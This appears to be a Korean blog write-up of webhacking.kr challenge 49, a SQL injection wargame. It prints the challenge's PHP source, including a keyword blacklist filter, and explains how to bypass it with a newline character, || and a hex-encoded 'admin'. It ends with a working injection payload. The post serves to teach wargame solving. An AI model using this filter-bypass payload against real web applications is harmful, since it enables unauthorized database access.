티스토리 뷰
webhacking.kr 49번 문제 : sql injection
문제 첫 페이지 화면
1 : koang
2 : zzibong
이렇게 출력이 된다.
옛날 미니홈피를 들어가보니 이 문제를 풀었던게 아닌가!!
하지만 기억이 하나도 나질 않아서.. 다시 풀었다..
소스를 보니 다음과 같이 있었다
<?
if(time()<1258110000) exit();
if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();
$q=@mysql_fetch_array(mysql_query("select id from zmail_member where lv=$_GET[lv]"));
echo($q[0]);
if($q[0]=="admin") @solve();
}
?>
결국엔 admin 값을 추출하라는 것임
lv 값을 거짓으로 처리해버리고 id 가 admin 을 가져오면 된다.
해킹에 관심을 두고 있다면 프로그래밍 역시 할 줄 알것이라고 생각하므로!
&& || 이런 기호들도 알것이라고 생각한다.
그리고 admin 의 값을 Hex 값으로 넘겨줘야 한다.
%를 막아놨기 때문에 아스키코드를 사용할수 없다.
자 그러면 나머지는 스스로 풀도록 해보자
url?lv=4%0a||id=0x61646d696e